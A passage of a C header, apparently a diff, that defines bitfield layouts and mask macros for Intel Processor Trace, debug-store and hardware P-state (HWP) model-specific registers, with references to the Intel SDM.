IA32_RTIT_CTL_RET_COMPRESSION_DISABLED_MASK 0x01 +#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED(_) (((_) >> 11) & 0x01) + + /** + * @brief PTWEn + * + * [Bit 12] - 0: PTWRITE packet generation disabled. + * - 1: PTWRITE packet generation enabled. + */ + uint64_t ptw_enabled : 1; +#define IA32_RTIT_CTL_PTW_ENABLED_BIT 12 +#define IA32_RTIT_CTL_PTW_ENABLED_FLAG 0x1000 +#define IA32_RTIT_CTL_PTW_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_PTW_ENABLED(_) (((_) >> 12) & 0x01) + + /** + * @brief BranchEn + * + * [Bit 13] - 0: Disable COFI-based packets. + * - 1: Enable COFI-based packets: FUP, TIP, TIP.PGE, TIP.PGD, TNT, MODE.Exec, MODE.TSX. + * + * @see Vol3C[35.2.5.4(Branch Enable (BranchEn))] + */ + uint64_t branch_enabled : 1; +#define IA32_RTIT_CTL_BRANCH_ENABLED_BIT 13 +#define IA32_RTIT_CTL_BRANCH_ENABLED_FLAG 0x2000 +#define IA32_RTIT_CTL_BRANCH_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_BRANCH_ENABLED(_) (((_) >> 13) & 0x01) + + /** + * @brief MTCFreq + * + * [Bits 17:14] Defines MTC packet Frequency, which is based on the core crystal clock, or Always Running Timer (ART). MTC + * will be sent each time the selected ART bit toggles. The following Encodings are defined: + * 0: ART(0), 1: ART(1), 2: ART(2), 3: ART(3), 4: ART(4), 5: ART(5), 6: ART(6), 7: ART(7), 8: ART(8), 9: ART(9), 10: + * ART(10), 11: ART(11), 12: ART(12), 13: ART(13), 14: ART(14), 15: ART(15) + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[3] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.MTC[bit 3] = 0 + * @see Vol3C[35.3.1(Detection of Intel Processor Trace and Capability Enumeration)] + */ + uint64_t mtc_frequency : 4; +#define IA32_RTIT_CTL_MTC_FREQUENCY_BIT 14 +#define IA32_RTIT_CTL_MTC_FREQUENCY_FLAG 0x3C000 +#define IA32_RTIT_CTL_MTC_FREQUENCY_MASK 0x0F +#define IA32_RTIT_CTL_MTC_FREQUENCY(_) (((_) >> 14) & 0x0F) + uint64_t reserved1 : 1; + + /** + * @brief CYCThresh + * + * [Bits 22:19] CYC packet threshold. CYC packets will be sent with the first eligible packet after N cycles have passed + * since the last CYC packet. If CycThresh is 0 then N=0, otherwise N is defined as 2(CycThresh-1). The following Encodings + * are defined: + * 0: 0, 1: 1, 2: 2, 3: 4, 4: 8, 5: 16, 6: 32, 7: 64, 8: 128, 9: 256, 10: 512, 11: 1024, 12: 2048, 13: 4096, 14: 8192, 15: + * 16384 + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[1] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.CPSB_CAM[bit 1] = 0 + * @see Vol3C[35.3.6(Cycle-Accurate Mode)] + * @see Vol3C[35.3.1(Detection of Intel Processor Trace and Capability Enumeration)] + */ + uint64_t cyc_threshold : 4; +#define IA32_RTIT_CTL_CYC_THRESHOLD_BIT 19 +#define IA32_RTIT_CTL_CYC_THRESHOLD_FLAG 0x780000 +#define IA32_RTIT_CTL_CYC_THRESHOLD_MASK 0x0F +#define IA32_RTIT_CTL_CYC_THRESHOLD(_) (((_) >> 19) & 0x0F) + uint64_t reserved2 : 1; + + /** + * @brief PSBFreq + * + * [Bits 27:24] Indicates the frequency of PSB packets. PSB packet frequency is based on the number of Intel PT packet + * bytes output, so this field allows the user to determine the increment of IA32_IA32_RTIT_STATUS.PacketByteCnt that + * should cause a PSB to be generated. Note that PSB insertion is not precise, but the average output bytes per PSB should + * approximate the SW selected period. The following Encodings are defined: + * 0: 2K, 1: 4K, 2: 8K, 3: 16K, 4: 32K, 5: 64K, 6: 128K, 7: 256K, 8: 512K, 9: 1M, 10: 2M, 11: 4M, 12: 8M, 13: 16M, 14: 32M, + * 15: 64M + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[1] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.CPSB_CAM[bit 1] = 0 + * @see Vol3C[35.3.1(Detection of Intel Processor Trace and Capability Enumeration)] + */ + uint64_t psb_frequency : 4; +#define IA32_RTIT_CTL_PSB_FREQUENCY_BIT 24 +#define IA32_RTIT_CTL_PSB_FREQUENCY_FLAG 0xF000000 +#define IA32_RTIT_CTL_PSB_FREQUENCY_MASK 0x0F +#define IA32_RTIT_CTL_PSB_FREQUENCY(_) (((_) >> 24) & 0x0F) + uint64_t reserved3 : 4; + + /** + * @brief ADDR0_CFG + * + * [Bits 35:32] Configures the base/limit register pair IA32_RTIT_ADDR0_A/B based on the following encodings: + * - 0: ADDR0 range unused. + * - 1: The [IA32_RTIT_ADDR0_A..IA32_RTIT_ADDR0_B] range defines a FilterEn range. FilterEn will only be set when the IP is + * within this range, though other FilterEn ranges can additionally be used. + * - 2: The [IA32_RTIT_ADDR0_A..IA32_RTIT_ADDR0_B] range defines a TraceStop range. TraceStop will be asserted if code + * branches into this range. + * - 3..15: Reserved (\#GP). + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 0) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] >= 0 + * @see Vol3C[35.2.4.3(Filtering by IP)] + * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] + */ + uint64_t addr0_cfg : 4; +#define IA32_RTIT_CTL_ADDR0_CFG_BIT 32 +#define IA32_RTIT_CTL_ADDR0_CFG_FLAG 0xF00000000 +#define IA32_RTIT_CTL_ADDR0_CFG_MASK 0x0F +#define IA32_RTIT_CTL_ADDR0_CFG(_) (((_) >> 32) & 0x0F) + + /** + * @brief ADDR1_CFG + * + * [Bits 39:36] Configures the base/limit register pair IA32_RTIT_ADDR1_A/B based on the following encodings: + * - 0: ADDR1 range unused. + * - 1: The [IA32_RTIT_ADDR1_A..IA32_RTIT_ADDR1_B] range defines a FilterEn range. FilterEn will only be set when the IP is + * within this range, though other FilterEn ranges can additionally be used. + * - 2: The [IA32_RTIT_ADDR1_A..IA32_RTIT_ADDR1_B] range defines a TraceStop range. TraceStop will be asserted if code + * branches into this range. + * - 3..15: Reserved (\#GP). + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 1) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] < 2 + * @see Vol3C[35.2.4.3(Filtering by IP)] + * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] + */ + uint64_t addr1_cfg : 4; +#define IA32_RTIT_CTL_ADDR1_CFG_BIT 36 +#define IA32_RTIT_CTL_ADDR1_CFG_FLAG 0xF000000000 +#define IA32_RTIT_CTL_ADDR1_CFG_MASK 0x0F +#define IA32_RTIT_CTL_ADDR1_CFG(_) (((_) >> 36) & 0x0F) + + /** + * @brief ADDR2_CFG + * + * [Bits 43:40] Configures the base/limit register pair IA32_RTIT_ADDR2_A/B based on the following encodings: + * - 0: ADDR2 range unused. + * - 1: The [IA32_RTIT_ADDR2_A..IA32_RTIT_ADDR2_B] range defines a FilterEn range. FilterEn will only be set when the IP is + * within this range, though other FilterEn ranges can additionally be used. + * - 2: The [IA32_RTIT_ADDR2_A..IA32_RTIT_ADDR2_B] range defines a TraceStop range. TraceStop will be asserted if code + * branches into this range. + * - 3..15: Reserved (\#GP). + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 2) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] < 3 + * @see Vol3C[35.2.4.3(Filtering by IP)] + * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] + */ + uint64_t addr2_cfg : 4; +#define IA32_RTIT_CTL_ADDR2_CFG_BIT 40 +#define IA32_RTIT_CTL_ADDR2_CFG_FLAG 0xF0000000000 +#define IA32_RTIT_CTL_ADDR2_CFG_MASK 0x0F +#define IA32_RTIT_CTL_ADDR2_CFG(_) (((_) >> 40) & 0x0F) + + /** + * @brief ADDR3_CFG + * + * [Bits 47:44] Configures the base/limit register pair IA32_RTIT_ADDR3_A/B based on the following encodings: + * - 0: ADDR3 range unused. + * - 1: The [IA32_RTIT_ADDR3_A..IA32_RTIT_ADDR3_B] range defines a FilterEn range. FilterEn will only be set when the IP is + * within this range, though other FilterEn ranges can additionally be used. + * - 2: The [IA32_RTIT_ADDR3_A..IA32_RTIT_ADDR3_B] range defines a TraceStop range. TraceStop will be asserted if code + * branches into this range. + * - 3..15: Reserved (\#GP). + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 3) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] < 4 + * @see Vol3C[35.2.4.3(Filtering by IP)] + * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] + */ + uint64_t addr3_cfg : 4; +#define IA32_RTIT_CTL_ADDR3_CFG_BIT 44 +#define IA32_RTIT_CTL_ADDR3_CFG_FLAG 0xF00000000000 +#define IA32_RTIT_CTL_ADDR3_CFG_MASK 0x0F +#define IA32_RTIT_CTL_ADDR3_CFG(_) (((_) >> 44) & 0x0F) + uint64_t reserved4 : 8; + + /** + * @brief InjectPsbPmiOnEnable + * + * [Bit 56] - 1: Enables use of IA32_RTIT_STATUS bits PendPSB[6] and PendTopaPMI[7]. + * - 0: IA32_RTIT_STATUS bits 6 and 7 are ignored. + * + * @remarks Reserved if CPUID.(EAX=14H, ECX=0):EBX.INJECTPSBPMI[6] = 0 + * @see Vol3C[35.2.7.4(IA32_RTIT_STATUS MSR)] + */ + uint64_t inject_psb_pmi_on_enable : 1; +#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE_BIT 56 +#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE_FLAG 0x100000000000000 +#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE_MASK 0x01 +#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE(_) (((_) >> 56) & 0x01) + uint64_t reserved5 : 7; + }; + + uint64_t flags; +} ia32_rtit_ctl_register; + + +/** + * Tracing Status Register. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) + */ +#define IA32_RTIT_STATUS 0x00000571 +typedef union +{ + struct + { + /** + * @brief FilterEn (writes ignored) + * + * [Bit 0] This bit is written by the processor, and indicates that tracing is allowed for the current IP. Writes are + * ignored. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[2] = 1) + * @see Vol3C[35.2.5.5(Filter Enable (FilterEn))] + */ + uint64_t filter_enabled : 1; +#define IA32_RTIT_STATUS_FILTER_ENABLED_BIT 0 +#define IA32_RTIT_STATUS_FILTER_ENABLED_FLAG 0x01 +#define IA32_RTIT_STATUS_FILTER_ENABLED_MASK 0x01 +#define IA32_RTIT_STATUS_FILTER_ENABLED(_) (((_) >> 0) & 0x01) + + /** + * @brief ContexEn (writes ignored) + * + * [Bit 1] The processor sets this bit to indicate that tracing is allowed for the current context. Writes are ignored. + * + * @see Vol3C[35.2.5.3(Context Enable (ContextEn))] + */ + uint64_t context_enabled : 1; +#define IA32_RTIT_STATUS_CONTEXT_ENABLED_BIT 1 +#define IA32_RTIT_STATUS_CONTEXT_ENABLED_FLAG 0x02 +#define IA32_RTIT_STATUS_CONTEXT_ENABLED_MASK 0x01 +#define IA32_RTIT_STATUS_CONTEXT_ENABLED(_) (((_) >> 1) & 0x01) + + /** + * @brief TriggerEn (writes ignored) + * + * [Bit 2] The processor sets this bit to indicate that tracing is enabled. Writes are ignored. + * + * @see Vol3C[35.2.5.2(Trigger Enable (TriggerEn))] + */ + uint64_t trigger_enabled : 1; +#define IA32_RTIT_STATUS_TRIGGER_ENABLED_BIT 2 +#define IA32_RTIT_STATUS_TRIGGER_ENABLED_FLAG 0x04 +#define IA32_RTIT_STATUS_TRIGGER_ENABLED_MASK 0x01 +#define IA32_RTIT_STATUS_TRIGGER_ENABLED(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 1; + + /** + * @brief Error + * + * [Bit 4] The processor sets this bit to indicate that an operational error has been encountered. When this bit is set, + * TriggerEn is cleared to 0 and packet generation is disabled. + * When TraceEn is cleared, software can write this bit. Once it is set, only software can clear it. It is not recommended + * that software ever set this bit, except in cases where it is restoring a prior saved state. + * + * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA) | ToPA Errors)] + */ + uint64_t error : 1; +#define IA32_RTIT_STATUS_ERROR_BIT 4 +#define IA32_RTIT_STATUS_ERROR_FLAG 0x10 +#define IA32_RTIT_STATUS_ERROR_MASK 0x01 +#define IA32_RTIT_STATUS_ERROR(_) (((_) >> 4) & 0x01) + + /** + * @brief Stopped + * + * [Bit 5] The processor sets this bit to indicate that a ToPA Stop condition has been encountered. When this bit is set, + * TriggerEn is cleared to 0 and packet generation is disabled. + * When TraceEn is cleared, software can write this bit. Once it is set, only software can clear it. It is not recommended + * that software ever set this bit, except in cases where it is restoring a prior saved state. + * + * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA) | ToPA STOP)] + */ + uint64_t stopped : 1; +#define IA32_RTIT_STATUS_STOPPED_BIT 5 +#define IA32_RTIT_STATUS_STOPPED_FLAG 0x20 +#define IA32_RTIT_STATUS_STOPPED_MASK 0x01 +#define IA32_RTIT_STATUS_STOPPED(_) (((_) >> 5) & 0x01) + + /** + * @brief Pend PSB + * + * [Bit 6] If IA32_RTIT_CTL.InjectPsbPmiOnEnable[56] = 1, the processor sets this bit when the threshold for a PSB+ to be + * inserted has been reached. The processor will clear this bit when the PSB+ has been inserted into the trace. If PendPSB + * = 1 and InjectPsbPmiOnEnable = 1 when IA32_RTIT_CTL.TraceEn[0] transitions from 0 to 1, a PSB+ will be inserted into the + * trace. + * + * @remarks If CPUID.(EAX=14H, ECX=0):EBX.INJECTPSBPMI[6] = 1 + */ + uint64_t pend_psb : 1; +#define IA32_RTIT_STATUS_PEND_PSB_BIT 6 +#define IA32_RTIT_STATUS_PEND_PSB_FLAG 0x40 +#define IA32_RTIT_STATUS_PEND_PSB_MASK 0x01 +#define IA32_RTIT_STATUS_PEND_PSB(_) (((_) >> 6) & 0x01) + + /** + * @brief Pend ToPA PMI + * + * [Bit 7] If IA32_RTIT_CTL.InjectPsbPmiOnEnable[56] = 1, the processor sets this bit when the threshold for a ToPA PMI to + * be inserted has been reached. Software should clear this bit once the ToPA PMI has been handled. If PendTopaPMI = 1 and + * InjectPsbPmiOnEnable = 1 when IA32_RTIT_CTL.TraceEn[0] transitions from 0 to 1, a PMI will be pended. + * + * @remarks If CPUID.(EAX=14H, ECX=0):EBX.INJECTPSBPMI[6] = 1 + * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA) | ToPA PMI)] + */ + uint64_t pend_topa_pmi : 1; +#define IA32_RTIT_STATUS_PEND_TOPA_PMI_BIT 7 +#define IA32_RTIT_STATUS_PEND_TOPA_PMI_FLAG 0x80 +#define IA32_RTIT_STATUS_PEND_TOPA_PMI_MASK 0x01 +#define IA32_RTIT_STATUS_PEND_TOPA_PMI(_) (((_) >> 7) & 0x01) + uint64_t reserved2 : 24; + + /** + * @brief PacketByteCnt + * + * [Bits 48:32] This field is written by the processor, and holds a count of packet bytes that have been sent out. The + * processor also uses this field to determine when the next PSB packet should be inserted. Note that the processor may + * clear or modify this field at any time while IA32_RTIT_CTL.TraceEn=1. It will have a stable value when + * IA32_RTIT_CTL.TraceEn=0. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[1] > 3) + * @see Vol3C[35.4.2.17(Packet Stream Boundary (PSB) Packet)] + */ + uint64_t packet_byte_count : 17; +#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT_BIT 32 +#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT_FLAG 0x1FFFF00000000 +#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT_MASK 0x1FFFF +#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT(_) (((_) >> 32) & 0x1FFFF) + uint64_t reserved3 : 15; + }; + + uint64_t flags; +} ia32_rtit_status_register; + + +/** + * @brief Trace Filter CR3 Match Register (R/W) + * + * The IA32_RTIT_CR3_MATCH register is compared against CR3 when IA32_RTIT_CTL.CR3Filter is 1. Bits 63:5 hold the CR3 + * address value to match, bits 4:0 are reserved to 0. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) + * @see Vol3C[35.2.4.2(Filtering by CR3)] + * @see Vol3C[35.2.7.6(IA32_RTIT_CR3_MATCH MSR)] (reference) + */ +#define IA32_RTIT_CR3_MATCH 0x00000572 +typedef union +{ + struct + { + uint64_t reserved1 : 5; + + /** + * [Bits 63:5] CR3[63:5] value to match. + */ + uint64_t cr3_value_to_match : 59; +#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH_BIT 5 +#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH_FLAG 0xFFFFFFFFFFFFFFE0 +#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH_MASK 0x7FFFFFFFFFFFFFF +#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH(_) (((_) >> 5) & 0x7FFFFFFFFFFFFFF) + }; + + uint64_t flags; +} ia32_rtit_cr3_match_register; + +/** + * @defgroup ia32_rtit_addr \ + * IA32_RTIT_ADDR(x) + * + * The role of the IA32_RTIT_ADDRn_A/B register pairs, for each n, is determined by the corresponding ADDRn_CFG fields in + * IA32_RTIT_CTL. The number of these register pairs is enumerated by CPUID.(EAX=14H, ECX=1):EAX.RANGECNT[2:0]. + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > n) + * @see Vol3C[35.2.7.2(IA32_RTIT_CTL MSR)] + * @see Vol3C[35.2.7.5(IA32_RTIT_ADDRn_A and IA32_RTIT_ADDRn_B MSRs)] (reference) + * @{ + */ + /** + * @defgroup ia32_rtit_addr_a \ + * IA32_RTIT_ADDR(n)_A + * + * Region n Start Address. + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > n) + * @{ + */ +#define IA32_RTIT_ADDR0_A 0x00000580 +#define IA32_RTIT_ADDR1_A 0x00000582 +#define IA32_RTIT_ADDR2_A 0x00000584 +#define IA32_RTIT_ADDR3_A 0x00000586 + /** + * @} + */ + + /** + * @defgroup ia32_rtit_addr_b \ + * IA32_RTIT_ADDR(n)_B + * + * Region n End Address. + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > n) + * @{ + */ +#define IA32_RTIT_ADDR0_B 0x00000581 +#define IA32_RTIT_ADDR1_B 0x00000583 +#define IA32_RTIT_ADDR2_B 0x00000585 +#define IA32_RTIT_ADDR3_B 0x00000587 + /** + * @} + */ + +typedef union +{ + struct + { + /** + * [Bits 47:0] Virtual Address. + */ + uint64_t virtual_address : 48; +#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS_BIT 0 +#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS_FLAG 0xFFFFFFFFFFFF +#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS_MASK 0xFFFFFFFFFFFF +#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS(_) (((_) >> 0) & 0xFFFFFFFFFFFF) + + /** + * [Bits 63:48] SignExt_VA. + */ + uint64_t sign_ext_va : 16; +#define IA32_RTIT_ADDR_SIGN_EXT_VA_BIT 48 +#define IA32_RTIT_ADDR_SIGN_EXT_VA_FLAG 0xFFFF000000000000 +#define IA32_RTIT_ADDR_SIGN_EXT_VA_MASK 0xFFFF +#define IA32_RTIT_ADDR_SIGN_EXT_VA(_) (((_) >> 48) & 0xFFFF) + }; + + uint64_t flags; +} ia32_rtit_addr_register; + +/** + * @} + */ + + + /** + * DS Save Area. Points to the linear address of the first byte of the DS buffer management area, which is used to manage + * the BTS and PEBS buffers. + * Returns: + * - [63:0] The linear address of the first byte of the DS buffer management area, if IA-32e mode is active. + * - [31:0] The linear address of the first byte of the DS buffer management area, if not in IA-32e mode. + * - [63:32] Reserved if not in IA-32e mode. + * + * @remarks If CPUID.01H:EDX.DS[21] = 1 + * @see Vol3B[18.6.3.4(Debug Store (DS) Mechanism)] + */ +#define IA32_DS_AREA 0x00000600 + + /** + * TSC Target of Local APIC's TSC Deadline Mode. + * + * @remarks If CPUID.01H:ECX.[24] = 1 + */ +#define IA32_TSC_DEADLINE 0x000006E0 + + /** + * Enable/disable HWP. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + */ +#define IA32_PM_ENABLE 0x00000770 +typedef union +{ + struct + { + /** + * [Bit 0] HWP_ENABLE. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.2(Enabling HWP)] + */ + uint64_t hwp_enable : 1; +#define IA32_PM_ENABLE_HWP_ENABLE_BIT 0 +#define IA32_PM_ENABLE_HWP_ENABLE_FLAG 0x01 +#define IA32_PM_ENABLE_HWP_ENABLE_MASK 0x01 +#define IA32_PM_ENABLE_HWP_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_pm_enable_register; + + +/** + * HWP Performance Range Enumeration. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + */ +#define IA32_HWP_CAPABILITIES 0x00000771 +typedef union +{ + struct + { + /** + * [Bits 7:0] Highest_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] + */ + uint64_t highest_performance : 8; +#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE_BIT 0 +#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE_FLAG 0xFF +#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE_MASK 0xFF +#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] Guaranteed_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] + */ + uint64_t guaranteed_performance : 8; +#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE_BIT 8 +#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE_FLAG 0xFF00 +#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE_MASK 0xFF +#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE(_) (((_) >> 8) & 0xFF) + + /** + * [Bits 23:16] Most_Efficient_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] + */ + uint64_t most_efficient_performance : 8; +#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE_BIT 16 +#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE_FLAG 0xFF0000 +#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE_MASK 0xFF +#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE(_) (((_) >> 16) & 0xFF) + + /** + * [Bits 31:24] Lowest_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] + */ + uint64_t lowest_performance : 8; +#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE_BIT 24 +#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE_FLAG 0xFF000000 +#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE_MASK 0xFF +#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE(_) (((_) >> 24) & 0xFF) + uint64_t reserved1 : 32; + }; + + uint64_t flags; +} ia32_hwp_capabilities_register; + + +/** + * Power Management Control Hints for All Logical Processors in a Package. + * + * @remarks If CPUID.06H:EAX.[11] = 1 + */ +#define IA32_HWP_REQUEST_PKG 0x00000772 +typedef union +{ + struct + { + /** + * [Bits 7:0] Minimum_Performance. + * + * @remarks If CPUID.06H:EAX.[11] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t minimum_performance : 8; +#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE_BIT 0 +#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE_FLAG 0xFF +#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE_MASK 0xFF +#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] Maximum_Performance. + * + * @remarks If CPUID.06H:EAX.[11] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t maximum_performance : 8; +#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE_BIT 8 +#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE_FLAG 0xFF00 +#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE_MASK 0xFF +#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE(_) (((_) >> 8) & 0xFF) + + /** + * [Bits 23:16] Desired_Performance. + * + * @remarks If CPUID.06H:EAX.[11] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t desired_performance : 8; +#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE_BIT 16 +#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE_FLAG 0xFF0000 +#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE_MASK 0xFF +#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE(_) (((_) >> 16) & 0xFF) + + /** + * [Bits 31:24] Energy_Performance_Preference. + * + * @remarks If CPUID.06H:EAX.[11] = 1 && CPUID.06H:EAX.[10] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t energy_performance_preference : 8; +#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE_BIT 24 +#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE_FLAG 0xFF000000 +#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE_MASK 0xFF +#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE(_) (((_) >> 24) & 0xFF) + + /** + * [Bits 41:32] Activity_Window. + * + * @remarks If CPUID.06H:EAX.[11] = 1 && CPUID.06H:EAX.[9] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t activity_window : 10; +#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW_BIT 32 +#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW_FLAG 0x3FF00000000 +#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW_MASK 0x3FF +#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW(_) (((_) >> 32) & 0x3FF) + uint64_t reserved1 : 22; + }; + + uint64_t flags; +} ia32_hwp_request_pkg_register; + + +/** + * Control HWP Native Interrupts. + * + * @remarks If CPUID.06H:EAX.[8] = 1 + */ +#define IA32_HWP_INTERRUPT 0x00000773 +typedef union +{ + struct + { + /** + * [Bit 0] EN_Guaranteed_Performance_Change. + * + * @remarks If CPUID.06H:EAX.[8] = 1 + * @see Vol3B[14.4.6(HWP Notifications)] + */ + uint64_t en_guaranteed_performance_change : 1; +#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE_BIT 0 +#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE_FLAG 0x01 +#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE_MASK 0x01 +#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] EN_Excursion_Minimum. + * + * @remarks If CPUID.06H:EAX.[8] = 1 + * @see Vol3B[14.4.6(HWP Notifications)] + */ + uint64_t en_excursion_minimum : 1; +#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM_BIT 1 +#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM_FLAG 0x02 +#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM_MASK 0x01 +#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM(_) (((_) >> 1) & 0x01) + uint64_t reserved1 : 62; + }; + + uint64_t flags; +} ia32_hwp_interrupt_register; + + +/** + * Power Management Control Hints to a Logical Processor. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + */ +#define IA32_HWP_REQUEST 0x00000774 +typedef union +{ + struct + { + /** + * [Bits 7:0] Minimum_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t minimum_performance : 8; +#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE_BIT 0 +#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE_FLAG 0xFF +#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE_MASK 0xFF +#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] Maximum_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t maximum_performance : 8; +#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE_BIT 8 +#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE_FLAG 0xFF00 +#define 